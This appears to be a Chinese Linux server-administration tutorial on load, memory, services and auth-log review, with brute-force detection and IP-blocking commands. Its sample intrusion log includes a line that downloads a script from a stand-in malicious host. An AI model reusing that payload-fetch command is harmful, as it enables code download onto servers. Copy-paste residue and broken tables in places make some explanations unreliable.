当前位置: 首页 > news >正文

linux学习(五)(服务器审查,正常运行时间负载,身份验证日志,正在运行的服务,评估可用内存)

服务器审查

在 Linux 中审查服务器的过程包括评估服务器的性能、安全性和配置,以确定需要改进的领域或任何潜在问题。审查的范围可以包括检查安全增强功能、检查日志文件、审查用户帐户、分析服务器的网络配置以及检查其软件版本。

Linux 以其稳定性和安全性而闻名,已成为全球许多网络和服务器后端的主打产品。根据您使用的发行版,Linux 提供了多种工具和命令来执行全面的服务器审查。

# A command often used for showing memory information
free -m# A command for showing disk usage
df -h# A command for showing CPU load
uptime

系统管理员和 DevOps 专业人员定期进行服务器审查以确保服务器的最佳性能、安全性和可靠性是一项关键任务。

Linux 服务器审查就像给服务器做“全身体检”——检查它的健康状况、安全漏洞和性能瓶颈,确保它稳定高效地工作。以下是通俗易懂的步骤和常用命令:


一、基础检查:看“生命体征”

就像测体温、血压,先看服务器的基本状态:

  1. 内存使用(查是否“贫血”):

    free -m  # 查看内存总量、已用、空闲(单位MB)
    • 关键指标available(可用内存)是否充足。

  2. 磁盘空间(查“胃容量”):

    df -h  # 查看各磁盘分区的使用情况(单位易读:GB/MB)
    • 重点关注Use%(使用率)超过 80% 需清理。

  3. CPU 负载(查“心脏压力”):

    uptime      # 查看负载平均值(1/5/15分钟)
    top 或 htop  # 实时监控CPU占用高的进程(按q退出)
    • 负载解读:负载值 ≤ CPU核心数 为正常(如4核CPU负载≤4)。


二、安全审查:防“小偷入侵”

检查门锁(防火墙)、访客记录(日志)和可疑人员(用户账户):

  1. 用户账户检查(查“谁有钥匙”):

    sudo less /etc/passwd      # 查看所有用户
    sudo less /etc/shadow      # 查看用户密码状态(需权限)
    who                        # 查看当前登录用户
    last                       # 查看登录历史
    • 重点排查:陌生用户、空密码账户、root远程登录。

  2. 防火墙与端口(查“门窗是否关好”):

    sudo ufw status          # 查看防火墙状态(Ubuntu)
    sudo iptables -L -n -v  # 查看详细防火墙规则(通用)
    ss -tuln                # 查看所有监听端口(替代netstat)
    • 风险端口:关闭不必要的端口(如默认的22端口可改为非标准)。

  3. 日志分析(查“监控录像”):

    sudo tail -100 /var/log/auth.log  # 查看认证日志(SSH登录记录)
    sudo journalctl -u sshd          # 查看SSH服务日志(Systemd系统)
    grep "Failed" /var/log/auth.log  # 过滤登录失败的记录(防暴力破解)
    🔹 如何检测可疑攻击?
    🔸 1️⃣ 统计失败登录次数:
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | wc -l
    📌 作用:统计包含 "Failed" 的行数,即失败尝试次数。
    🔍 如果失败次数异常多(比如几百次),可能是暴力破解!🔸 2️⃣ 查看攻击来源 IP
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
    📌 作用:解析 Failed password for ... from 192.168.1.100 这类日志
    提取攻击 IP
    统计每个 IP 出现次数,按次数降序排序
    🌟 示例输出复制
    编辑
    100 203.0.113.42
    50 192.168.1.100
    🔍 如果某个 IP 失败次数异常多,说明它在恶意尝试登录!🔸 3️⃣ 阻止攻击 IP
    如果发现恶意 IP,可以用 iptables 或 fail2ban 进行封锁:sh
    复制
    编辑
    sudo iptables -A INPUT -s 203.0.113.42 -j DROP
    📌 作用:阻止 203.0.113.42 访问服务器(彻底封锁)。🔹 总结
    命令	作用
    grep "Failed" /var/log/auth.log	查找登录失败的记录
    `grep "Failed" /var/log/auth.log	wc -l`
    `grep "Failed" /var/log/auth.log	awk '{print $(NF-3)}'
    sudo iptables -A INPUT -s <IP> -j DROP	封锁攻击 IP
    🔹 结论
    ✅ 这条 grep 命令是检测服务器是否遭遇 SSH 暴力破解 的第一步。
    ✅ 后续可以结合 fail2ban 自动封锁恶意 IP,提高服务器安全性。

三、性能调优:治“慢性病”

检查拖慢服务器的“慢性问题”:

  1. 进程与服务(查“谁在吃资源”):

    ps aux --sort=-%cpu | head  # 按CPU使用率排序进程
    systemctl list-units --type=service  # 查看所有服务
    • 优化建议:停用不必要的服务(如旧版本MySQL、多余容器)。

  2. 定时任务(查“自动任务”):

    crontab -l              # 查看当前用户的定时任务
    ls /etc/cron.*          # 查看系统级定时任务
    • 风险点:异常任务(如挖矿脚本)。

  3. 内核参数(查“身体机能”):

    sysctl -a | grep somaxconn  # 查看TCP连接队列大小(示例)
     
    • 常见优化:调整TCP缓冲区、文件打开数(需备份配置文件)。


四、备份与更新:打“疫苗”

确保系统安全和数据可恢复:

  1. 检查更新(打“补丁”):

    sudo apt update && sudo apt upgrade  # Debian/Ubuntu
    sudo yum update                     # CentOS/RHEL
     
    • 定期更新:修复安全漏洞,升级软件版本。

  2. 验证备份(查“保险柜”):

    ls -l /backup/            # 查看备份文件
    crontab -l | grep backup  # 检查备份任务是否设置
     
    • 关键点:备份是否完整、能否恢复。


五、自动化工具推荐

  • 安全扫描lynis audit system(开源安全审计工具)。

  • 监控告警Prometheus + Grafana(监控CPU、内存、磁盘)。

  • 日志分析ELK(Elasticsearch, Logstash, Kibana)。


举个实际例子

假设服务器变慢,按以下步骤排查:

  1. 快速诊断

    uptime; free -m; df -h; top
     
    • 发现磁盘满了 → 用 du -sh /* | sort -rh | head 找大文件。

  2. 检查登录记录

    uptime; free -m; df -h; top
     
    • 发现陌生IP → 封锁IP,加强SSH密钥登录。


通过定期“体检”,你的服务器会变得更健康、更安全!🚀

正常运行时间负载

在管理 Linux 服务器时,一个值得密切关注的关键指标是“正常运行时间”。Linux 中的命令提供有关系统在不关闭或重新启动的情况下运行了多长时间的信息,以及系统负载平均值。uptime

系统负载平均值是一个重要的指标,它说明了计算机系统执行的计算工作量。它反映了有多少进程正在排队等待获取 CPU 时间。系统负载平均值通常显示 1 分钟、5 分钟和 15 分钟的持续时间。

通过持续分析 Linux 服务器上的正常运行时间和负载,管理员可以识别系统使用模式、诊断可能的性能问题并确定有效的容量规划策略。如果服务器的平均负载较高,则可能表明系统资源不足或配置错误,从而导致性能降低或系统无响应。

以下是该命令及其输出的示例:uptime

$ uptime10:58:35 up 2 days, 20 min,  1 user,  load average: 0.00, 0.01, 0.05

在上面的输出中,“2 days, 20 min” 告诉我们系统运行了多长时间,而 “0.00, 0.01, 0.05” 分别显示了系统在过去 1 分钟、5 分钟和 15 分钟内的平均负载。

uptime 是 Linux 中一个快速查看服务器健康状态的命令,它能告诉你两件关键事:服务器运行了多久当前系统的“忙碌程度”。就像汽车的仪表盘,一眼就能看出是否需要“检修”!


命令输出示例

$ uptime10:58:35 up 2天, 20分钟,  1用户,  平均负载: 0.00, 0.01, 0.05
 

翻译成大白话

  • 10:58:35:现在是上午10点58分35秒(系统时间)。

  • up 2天, 20分钟:服务器已经连续运行了2天零20分钟没重启。

  • 1用户:当前有1个用户登录(比如通过SSH)。

  • 平均负载: 0.00, 0.01, 0.05:过去1分钟、5分钟、15分钟的“负载指数”。


“平均负载”通俗解释

你可以把负载(Load Average)想象成超市收银台的排队情况

  • 负载值 = 正在结账的顾客 + 排队等待的顾客

  • 假设服务器是4个收银台(4核CPU)

    • 负载 ≤4:顾客来了能立刻结账,无需排队(健康)。

    • 负载 >4:开始排队,数值越大队伍越长(可能卡顿)。

  • 三个数值的意义

    • 0.00(1分钟负载):刚刚的排队情况(最敏感,可能突发高峰)。

    • 0.01(5分钟负载):短期的平均排队情况。

    • 0.05(15分钟负载):长期的趋势(更稳定)。


如何判断负载是否过高?

  • 单核CPU:负载超过1.0 表示过载。

  • 4核CPU:负载超过4.0 表示满负荷。

  • 举例

    • 负载: 3.50, 2.10, 0.80(4核CPU):

      • 最近1分钟负载3.5 → 当前较忙,但未超4核能力。

      • 过去15分钟负载0.8 → 长期较空闲。


负载高的常见原因

  1. CPU密集型任务:代码死循环、大量计算。

  2. 磁盘I/O过高:频繁读写大文件、数据库查询慢。

  3. 内存不足:频繁交换内存到磁盘(SWAP)。

  4. 大量网络请求:DDoS攻击、高并发访问。


下一步操作建议

  1. 快速定位问题

    top                # 查看实时进程(按P按CPU排序,按M按内存排序)
    htop               # 更友好的交互式监控工具(需安装)
    iostat -x 1        # 查看磁盘IO情况(%util接近100%表示磁盘满负荷)
     


    (htop界面示例:红框标出高负载进程)

  2. 针对性解决

    • CPU高:结束异常进程(kill 进程ID)、优化代码逻辑。

    • 磁盘IO高:减少日志输出、升级SSD、检查数据库索引。

    • 内存不足:关闭不需要的服务、增加物理内存、优化程序内存泄漏。


实际案例

场景:负载突然飙升至 8.00(4核CPU服务器)。
排查

  1. 用 top 发现一个 python 进程占用 200% CPU(表示占满2个核)。

  2. 检查发现是爬虫程序死循环 → 优化代码或限制资源。

  3. 负载降至 2.00,恢复健康。


通过 uptime 快速判断服务器压力,结合其他工具定位问题,就像医生用体温计+听诊器快速诊断病情一样高效! 🚑

身份验证日志

在处理 Linux 服务器及其维护时,需要定期审查的最关键组件之一是身份验证日志。这些日志通常位于 /var/log/auth.log(对于基于 Debian 的发行版)或 /var/log/secure(对于 Red Hat 和 CentOS)中,记录服务器上发生的所有与身份验证相关的事件和活动。其中包括系统登录、密码更改和发出的 sudo 命令等。

身份验证日志是监控和分析 Linux 服务器安全性的宝贵工具。它们可以指示暴力登录攻击、未经授权的访问尝试和任何可疑行为。定期分析这些日志是确保服务器安全性和数据完整性的一项基本任务。

以下是如何使用命令查看身份验证日志的最后几个条目的示例:tail

tail /var/log/auth.log

熟悉阅读和理解身份验证日志,因为这是确保服务器安全的重要方法。

Linux 身份验证日志就像服务器的“安全监控录像”,详细记录了谁在什么时候、以什么方式登录过系统,以及做了哪些需要权限的操作。它是排查黑客入侵、追踪异常行为的“破案神器”!以下是通俗解读:


一、日志文件在哪?

  • Debian/Ubuntu/var/log/auth.log

  • RedHat/CentOS/var/log/secure

  • 查看最新日志(实时监控):

    sudo tail -f /var/log/auth.log  # 实时滚动显示最新日志(按Ctrl+C退出)
     

二、日志里记录了什么?

1️⃣ SSH 登录记录
  • 登录成功

    May 25 14:30:01 server sshd[1234]: Accepted password for root from 192.168.1.100 port 22 ssh2
     
    • 关键信息:用户 root 从 IP 192.168.1.100 通过密码登录成功。

  • 登录失败

    May 25 14:31:05 server sshd[5678]: Failed password for invalid user hacker from 203.0.113.5 port 22 ssh2
     
    • 危险信号:非法用户 hacker 从 203.0.113.5 尝试密码登录失败!


2️⃣ sudo 命令记录
  • 用户提权操作

    May 25 15:00:00 server sudo:   alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
     
    • 解读:用户 alice 用 sudo 以 root 身份执行了 apt update


3️⃣ 用户账户变更
  • 创建/删除用户

    May 25 16:00:00 server useradd[2345]: new user: name=test, UID=1001, GID=1001
    May 25 16:05:00 server userdel[3456]: delete user 'test'
     
    • 监控重点:非管理员创建的未知用户可能是后门账户!


三、如何快速分析日志?

1️⃣ 找“暴力破解”攻击
  • 统计某个 IP 的失败登录次数:

    grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr
    # 输出示例:
    # 100 203.0.113.5
    # 2   192.168.1.100
     
    • 结果解读:IP 203.0.113.5 尝试了 100 次密码,极可能是攻击者!

2️⃣ 检查可疑的 sudo 操作
  • 查看所有 sudo 提权记录:

    grep "sudo:" /var/log/auth.log
     
3️⃣ 追踪用户登录历史
  • 查看所有成功登录记录:

    grep "Accepted" /var/log/auth.log
     

四、安全加固建议

  1. 封禁暴力IP

    sudo fail2ban-client status sshd  # 查看被禁IP(需安装fail2ban)
    sudo iptables -A INPUT -s 203.0.113.5 -j DROP  # 手动封禁IP
     
  2. 禁用密码登录,改用SSH密钥

    # 修改SSH配置 /etc/ssh/sshd_config
    PasswordAuthentication no
    PermitRootLogin no
     
  3. 设置日志监控告警(如用 logwatch 或 ELK 堆栈)。


实际案例:发现入侵痕迹

日志片段

May 25 03:00:00 server sshd[1111]: Failed password for root from 203.0.113.5 port 22
May 25 03:00:01 server sshd[1112]: Accepted password for root from 203.0.113.5 port 22
May 25 03:05:00 server sudo:   root : TTY=pts/0 ; COMMAND=/usr/bin/wget http://恶意网站.com/x.sh
 

分析

  1. 攻击者从 203.0.113.5 暴力破解了 root 密码。

  2. 登录后下载了可疑脚本 x.sh(可能是木马)。
    应对:立即封锁IP,检查系统后门,重置root密码!


通过定期“翻看”这些日志,你就像服务器的保安队长,能第一时间揪出可疑分子!🔍

正在运行的服务

Linux 服务器因其稳定性和灵活性而广受欢迎,这些因素使它们成为企业和组织在管理各种服务时的首选。在 Linux 服务器下运行的服务范围从 Web 服务到数据库服务、DNS 服务器、邮件服务器等。

作为 Linux 系统管理员,定期查看这些正在运行的服务以管理资源、检查其状态和解决问题,从而确保服务器的运行状况和性能非常重要。

Linux 有多种工具可以实现此目的,例如:、、 和 。systemctlservicenetstatsslsof

例如,该命令在 Linux 系统上广泛使用,用于列出所有正在运行的服务:systemctl

systemctl --type=service 

此命令将显示所有活动服务的列表及其当前状态。它是服务器管理的必需品,应该成为任何 Linux 系统管理员工具箱的一部分。

在 Linux 服务器中,**“正在运行的服务”**就像一台多功能机器上的各种“工作模块”——比如负责网站服务的“模块”、管理数据库的“模块”、处理邮件的“模块”等。作为管理员,你需要知道哪些模块正在运行、是否健康,以及它们占用了多少资源。以下是通俗易懂的检查方法:


一、查看服务列表:用“服务遥控器”

1. systemctl 命令(主流工具,适用于大多数新系统)
  • 列出所有正在运行的服务

    systemctl list-units --type=service --state=running
     

    输出示例

    UNIT                LOAD   ACTIVE SUB     DESCRIPTION
    nginx.service       loaded active running Nginx Web Server
    mysql.service       loaded active running MySQL Database
    ssh.service         loaded active running OpenSSH Server
     
    • 关键信息ACTIVE 显示服务状态(active 表示正常运行)。

  • 检查某个服务的详细状态(如Nginx):

    systemctl status nginx
     

    输出示例

    ● nginx.service - Nginx Web ServerLoaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)Active: active (running) since Mon 2024-05-27 10:00:00 CST; 2 days agoMain PID: 1234 (nginx)CGroup: /system.slice/nginx.service├─1234 nginx: master process /usr/sbin/nginx└─1235 nginx: worker process
     
    • 关注点Active(运行状态)、Main PID(进程ID)、日志片段。


2. service 命令(旧系统兼容工具,操作更简单)
  • 列出所有服务(仅显示部分):

    service --status-all
     

    输出示例

    [ + ]  nginx
    [ - ]  mysql
    [ ? ]  docker
     
    • 符号解读+ 表示运行中,- 表示已停止,? 表示状态未知。


二、检查网络服务:用“网络监控器”

1. ss 或 netstat 命令(查看服务监听的端口)
  • 列出所有监听端口的服务

    ss -tulnp  # 推荐使用(更高效)
    # 或
    netstat -tulnp  # 传统命令(逐渐被ss取代)
     

    输出示例

    Netid  State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
    tcp    LISTEN  0       128     0.0.0.0:80          0.0.0.0:*        users:(("nginx",pid=1234,fd=6))
    tcp    LISTEN  0       128     127.0.0.1:3306      0.0.0.0:*        users:(("mysqld",pid=5678,fd=10))
     
    • 关键信息

      • 0.0.0.0:80 → Nginx 在 80 端口监听(提供 Web 服务)。

      • 127.0.0.1:3306 → MySQL 只允许本机访问数据库(更安全)。


2. lsof 命令(查看服务打开的文件/端口)
  • 查看某个服务(如Nginx)使用的资源

    sudo lsof -p $(pgrep nginx)  # 需安装 lsof
    
     

    输出示例

    COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    nginx   1234   root  cwd    DIR  253,1     4096    2 /
    nginx   1234   root  txt    REG  253,1  1160328 1234 /usr/sbin/nginx
    nginx   1234   root    6u  IPv4  12345      0t0  TCP *:http (LISTEN)
     
    • 解读:可以看到 Nginx 的进程打开了哪些文件、监听了哪些端口。


三、管理服务的常用操作

1. 启动/停止/重启服务

sudo systemctl start nginx    # 启动
sudo systemctl stop nginx     # 停止
sudo systemctl restart nginx # 重启
 
2. 禁止服务开机自启

sudo systemctl disable nginx
3. 检查服务是否开机自启

systemctl is-enabled nginx
 

四、实际场景案例

问题:发现服务器 8080 端口被未知服务占用,如何排查?
  1. 查看监听 8080 端口的服务

    ss -tulnp | grep ':8080'
    # 输出:users:(("mystery",pid=9999,fd=3))
     
  2. 根据 PID 查找服务名

    ps -p 9999 -o comm=
    # 输出:mystery-service
     
  3. 停止并禁用该服务

    sudo systemctl stop mystery-service
    sudo systemctl disable mystery-service
     

五、总结

  • 定期检查服务:关闭不必要的服务,节省资源、提升安全。

  • 重点关注

    • 陌生服务(可能是恶意软件)。

    • 监听在公网 IP 的服务(如 0.0.0.0:3306 可能暴露数据库)。

  • 工具选择

    • 快速概览用 systemctl,网络分析用 ss,深度排查用 lsof

掌握这些命令,你就能像“服务器医生”一样,随时诊断服务的健康状态! 🩺

评估可用内存

在 Linux 环境中运行多个应用程序时,持续跟踪系统运行状况对于平稳运行至关重要。在服务器检查过程中评估可用内存是系统管理员的常见做法。这涉及使用 Linux 提供的各种命令行工具,例如 、 和 。这些可以帮助监控内存使用情况和性能指标,确保系统不会过载,并为重要应用程序提供足够的资源。freevmstattop

例如,该命令给出了总体内存使用情况的摘要,包括总已用内存和可用内存、交换内存和缓冲区/缓存内存。下面是一个示例:free

$ free -htotal        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi

在此输出中,'-h' 选项用于以人类可读的格式显示结果。了解 Linux 服务器中的内存使用状态有助于保持最佳服务器性能并解决任何潜在问题

free 是 Linux 中一个查看内存使用情况的命令,可以简单理解为“内存体检报告”。它能告诉你:
内存还剩多少?被谁用了?是否快用光了?
就像手机里的“存储空间”功能,帮你判断是否需要清理垃圾或升级硬件!


用 free -h 看内存(人类友好模式)

$ free -htotal        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi
 
通俗解释各部分含义
  1. Mem(物理内存)

    • total(总内存):15Gi → 服务器装了 15G 内存条

    • used(已用):10Gi → 被程序直接吃掉的内存(如运行中的网站、数据库)。

    • free(空闲):256Mi → 完全没被使用的内存(看着少,但别慌!)。

    • buff/cache(缓存):5.3Gi → 系统借来当临时仓库的内存(存磁盘读写数据,不够时可快速释放)。

    • available(实际可用):4.2Gi → 真正还能用的内存 ≈ free + buff/cache 可释放部分。

  2. Swap(交换内存)

    • total:8Gi → 硬盘上划出的虚拟内存(速度慢,应急用)。

    • used:1.3Gi → 正在使用的虚拟内存(如果这个值持续很高,说明物理内存不足了!)。


如何判断内存是否够用?

  1. 重点看 available 列

    • 4.2Gi 表示当前还能支撑新程序运行的内存。

    • 如果 available 接近 0,说明内存快耗尽了,服务器可能会卡顿甚至崩溃!

  2. Swap 使用情况

    • 少量使用 Swap(如 10% 以内)是正常的。

    • Swap 使用量持续增长 → 物理内存不足,需优化程序或加内存条!


下一步操作建议

作用

📌 示例输出(部分字段解释)

 

plaintext

复制编辑

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 164456 9624 ? Ss 10:00 0:01 systemd www-data 1345 1.2 10.3 409600 84032 ? S 10:05 3:42 apache2 mysql 2345 5.3 18.2 204800 150832 ? Ssl 10:06 10:15 mysqld

字段含义
USER进程所属用户
PID进程 ID
%CPUCPU 占用率
%MEM内存占用率
VSZ进程占用的虚拟内存(KB)
RSS进程占用的物理内存(KB)
TTY终端设备
STAT进程状态
START进程启动时间
TIME进程累计 CPU 使用时间
COMMAND进程的命令

🔹 2️⃣ --sort=-%mem —— 按内存使用率降序排序

 

sh

复制编辑

--sort=-%mem

  1. 释放缓存(临时救急):

    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches  # 清理缓存(不影响程序运行)
    📌 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 详解
    该命令用于清理 Linux 系统的缓存,但不会影响正在运行的程序。🔹 1️⃣ sync —— 确保数据写入磁盘
    ✅ 作用:sync 命令会强制将所有待写入磁盘的数据(缓存中的数据)真正写入磁盘,确保数据不会因为清理缓存而丢失。🔹 2️⃣ echo 3 —— 生成缓存清理指令
    ✅ 作用:echo 命令用于输出 3,这里 3 是一个指令参数,用于通知 Linux 清除所有类型的缓存。数值	作用
    1	只清除 页缓存(Page Cache)
    2	只清除 目录项和 inode 缓存
    3	清除所有缓存(推荐使用)🔹 3️⃣ |(管道)—— 连接 echo 和 tee
    echo 3 | sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    echo 3 生成指令
    | 管道符:将 echo 3 的输出传递给 tee 命令🔹 4️⃣ sudo tee /proc/sys/vm/drop_caches —— 执行缓存清理
    sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    sudo —— 以 超级用户权限 执行(普通用户无权修改 /proc/sys/vm/drop_caches)。
    tee —— 既输出内容到终端,也写入文件:
    /proc/sys/vm/drop_caches 是 Linux 内核参数文件,写入 3 之后,系统会执行缓存清理。
    tee 作用类似于 >,但可以同时显示和写入文件,> 直接写入而不显示。🔹 5️⃣ sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 总结
    ✅ 完整流程:
    sync 确保所有数据写入磁盘,防止未保存数据丢失。
    echo 3 生成清理指令。
    | 把指令传递给 tee。
    sudo tee /proc/sys/vm/drop_caches 清理所有缓存。🔹 6️⃣ 注意事项
    📌 不会影响正在运行的程序:
    该命令仅清理缓存,不会影响应用程序的正常运行。
    清理缓存后,系统可能会变慢,因为需要重新加载数据到缓存。📌 适用于哪些场景?
    释放内存:如果 Linux 系统长时间运行,占用大量缓存,可以手动释放缓存。
    测试性能:在进行性能测试时,希望得到不受缓存影响的结果。
    查看真实的可用内存:缓存占用内存时,可释放后查看真实的空闲内存。🔹 7️⃣ 扩展:如何验证缓存清理?
    📌 清理缓存前后,查看内存占用
    free -h    # 查看内存使用情况
    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
    free -h    # 再次查看变化
    🔹 清理前:cached 部分较高
    🔹 清理后:cached 变少,free 变多 ✅🔹 8️⃣ 更安全的写法
    为了防止错误,可以使用更安全的方法:
    sudo sh -c "echo 3 > /proc/sys/vm/drop_caches"
    ✅ 区别:sudo 只影响 sh -c 里的 echo,避免 tee 额外权限问题。
    🔹 9️⃣ 总结
    命令部分	作用
    sync	将缓存数据写入磁盘,防止数据丢失
    echo 3	生成清理指令(3 代表清理所有缓存)
    `	`
    sudo tee /proc/sys/vm/drop_caches	执行缓存清理,释放内存
    💡 这个命令适用于手动释放缓存,特别是在长时间运行的 Linux 服务器上。 

  2. 揪出“内存大户”

    top               # 按 M 按内存排序(找占用高的进程)
    htop              # 更友好的界面(需安装)
    ps aux --sort=-%mem | head  # 列出前10内存消耗进程
ps (Process Status,进程状态) 是 Linux 用于查看进程信息的命令。
aux 选项组合:
a (All Users) → 显示所有用户的进程(不仅限于当前用户)。
u (User Format) → 以用户友好的格式显示,包括 CPU、内存、进程名等信息。
x (Including Daemons) → 显示无终端控制的进程(如后台服务)。
--sort=-%mem:按 %MEM 字段(内存占用)降序排序(从高到低)。
- 号表示降序(不加 - 号则是升序)。
长期优化:关闭不需要的服务(如多余容器、测试环境)。优化程序内存泄漏(如 Java 的堆内存设置)。升级物理内存(简单粗暴但有效)。

场景available 只剩 500MB,Swap 用了 6Gi。
分析

  • 物理内存严重不足,系统频繁使用 Swap(速度慢,性能差)。
    解决

  1. 用 top 发现一个 java 进程占用了 8Gi 内存。

  2. 联系开发团队优化代码或调整 JVM 内存参数。

  3. 临时重启该服务释放内存,长期计划加内存条。


通过 free -h,你就像给服务器做了个“血常规”,一眼看出内存健康状态! 🩺

相关文章:

linux学习(五)(服务器审查,正常运行时间负载,身份验证日志,正在运行的服务,评估可用内存)

服务器审查 在 Linux 中审查服务器的过程包括评估服务器的性能、安全性和配置&#xff0c;以确定需要改进的领域或任何潜在问题。审查的范围可以包括检查安全增强功能、检查日志文件、审查用户帐户、分析服务器的网络配置以及检查其软件版本。 Linux 以其稳定性和安全性而闻名…...

Java在小米SU7 Ultra汽车中的技术赋能

目录 一、智能驾驶“大脑”与实时数据 场景一&#xff1a;海量数据的分布式计算 场景二&#xff1a;实时决策的毫秒级响应 场景三&#xff1a;弹性扩展与容错机制 技术隐喻&#xff1a; 二、车载信息系统&#xff08;IVI&#xff09;的交互 场景一&#xff1a;Android Automo…...

开发环境搭建-02.后端环境搭建-熟悉项目结构

一.后端环境搭建...

js实现pdf文件路径预览和下载

预览 直接浏览器窗口打开默认就是预览 window.open(文件路径)下载 function downloadPDF(url, filename) {fetch(url).then(response > response.blob()).then(blob > {const link document.createElement(a);link.href URL.createObjectURL(blob);link.download fi…...

【RAG】基于向量检索的 RAG (BGE示例)

RAG机器人 结构体 文本向量化: 使用 BGE 模型将文档和查询编码为向量。 &#xff08;BGE 是专为检索任务优化的开源 Embedding 模型&#xff0c;除了本文API调用&#xff0c;也可以通过Hugging Face 本地部署BGE 开源模型&#xff09; 向量检索: 从数据库中找到与查询相关的文…...

Vue源码解析之mustache模板引擎

个人简介 &#x1f440;个人主页&#xff1a; 前端杂货铺 &#x1f64b;‍♂️学习方向&#xff1a; 主攻前端方向&#xff0c;正逐渐往全干发展 &#x1f4c3;个人状态&#xff1a; 研发工程师&#xff0c;现效力于中国工业软件事业 &#x1f680;人生格言&#xff1a; 积跬步…...

python: DDD using postgeSQL and SQL Server

postgreSQL 注意&#xff1a; # psycopg 2 驱动的连接字符串 #engine create_engine(postgresql://post:geovindulocalhost:5433/TechnologyGame) #Session sessionmaker(bindengine)# 使用 psycopg3 驱动的连接字符串 #engine create_engine(postgresqlpsycopg://user:g…...

Python实例:PyMuPDF实现PDF翻译,英文翻译为中文,并按段落创建中文PDF

基于PyMuPDF与百度翻译的PDF翻译处理系统开发:中文乱码解决方案与自动化排版实践 一 、功能预览:将英文翻译为中文后创建的PDF 二、完整代码 from reportlab.lib.pagesizes import letter from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle...

IntelliJ IDEA 2021版创建springboot项目的五种方式

第一种方式&#xff0c;通过https://start.spring.io作为spring Initializr的url来创建项目。 第二种方式&#xff0c;通过https://start.spring.io官网来直接创建springboot项目压缩包&#xff0c;然后导入至我们的idea中。 点击generate后&#xff0c;即可生成压缩包&#xf…...

c#面试题整理6

1.String类能否被继承&#xff0c;为什么 可以看到String类的修饰符是sealed&#xff0c;即是密封类&#xff0c;故不可被继承 2.一个对象的方法是否只能由一个线程访问 不是&#xff0c;但是可通过同步机制&#xff0c;确保同一个时间只有一个线程访问 3.计算2*8&#xff…...

跟着 Lua 5.1 官方参考文档学习 Lua (12)

文章目录 5.7 – Input and Output Facilities补充内容io.input ([file])io.read ()io.write ()io.output ([file])io.lines ([filename])io.flush ()io.close ([file])io.open (filename [, mode])io.popen (prog [, mode])io.tmpfile ()io.type (ob)file:read ()file:lines (…...

大语言模型中的归一化技术:LayerNorm与RMSNorm的深入研究

在LLama等大规模Transformer架构的语言模型中&#xff0c;归一化模块是构建网络稳定性的关键组件。本文将系统分析归一化技术的必要性&#xff0c;并详细阐述为何原始Transformer架构中的LayerNorm在LLama模型中被RMSNorm所替代的技术原理。 归一化技术的基础原理 归一化的核…...

nodejs使用WebSocket实现聊天效果

在nodejs中使用WebSocket实现聊天效果&#xff08;简易实现&#xff09; 安装 npm i ws 实现 创建 server.js /*** 创建一个 WebSocket 服务器&#xff0c;监听指定端口&#xff0c;并处理客户端连接和消息。** param {Object} WebSocket - 引入的 WebSocket 模块&#xff0c…...

【仿muduo库one thread one loop式并发服务器实现】

文章目录 一、项目介绍1-1、项目总体简介1-2、项目开发环境1-3、项目核心技术1-4、项目开发流程1-5、项目如何使用 二、框架设计2-1、功能模块划分2-1-1、SERVER模块2-1-2、协议模块 2-2、项目蓝图2-2-1、整体图2-2-2、模块关系图2-2-2-1、Connection 模块关系图2-2-2-2、Accep…...

10.2 继承与多态

文章目录 继承多态 继承 继承的作用是代码复用。派生类自动获得基类的除私有成员外的一切。基类描述一般特性&#xff0c;派生类提供更丰富的属性和行为。在构造派生类时&#xff0c;其基类构造函数先被调用&#xff0c;然后是派生类构造函数。在析构时顺序刚好相反。 // 基类…...

Go红队开发—格式导出

文章目录 输出功能CSV输出CSV 转 结构体结构体 转 CSV端口扫描结果使用CSV格式导出 HTML输出Sqlite输出nmap扫描 JSONmap转json结构体转jsonjson写入文件json编解码json转结构体json转mapjson转string练习&#xff1a;nmap扫描结果导出json格式 输出功能 在我们使用安全工具的…...

线性代数之矩阵特征值与特征向量的数值求解方法

文章目录 前言1. 幂迭代法&#xff08;Power Iteration&#xff09;幂法与反幂法求解矩阵特征值幂法求最大特征值编程实现补充说明 2. 逆幂迭代法&#xff08;Inverse Iteration&#xff09;移位反幂法 3. QR 算法&#xff08;QR Algorithm&#xff09;——稠密矩阵理论推导编程…...

Spring MVC源码分析のinit流程

文章目录 前言一、 init1.1、createWebApplicationContext1.2、onRefresh 二、请求处理器2.1、RequestMapping2.2、Controller接口2.3、HttpRequestHandler接口2.4、HandlerFunction 三、initHandlerMappings3.1、getDefaultStrategies3.1.1、RequestMappingHandlerMapping3.1.…...

【后端开发】go-zero微服务框架实践(goland框架对比,go-zero开发实践,文件上传问题优化等等)

【后端开发】go-zero微服务框架实践&#xff08;goland框架对比&#xff0c;go-zero开发实践&#xff0c;文件上传问题优化等&#xff09; 文章目录 1、go框架对比介绍2、go-zero 微服务开发实践3、go-zero 文件上传问题优化 1、go框架对比介绍 国内开源goland框架对比 1 go-…...

C#程序加密与解密Demo程序示例

目录 一、加密程序功能介绍 1、加密用途 2、功能 3、程序说明 4、加密过程 5、授权的注册文件保存方式 二、加密程序使用步骤 1、步骤一 ​编辑2、步骤二 3、步骤三 4、步骤四 三、核心代码说明 1、获取电脑CPU 信息 2、获取硬盘卷标号 3、机器码生成 3、 生成…...

web vue 项目 Docker化部署

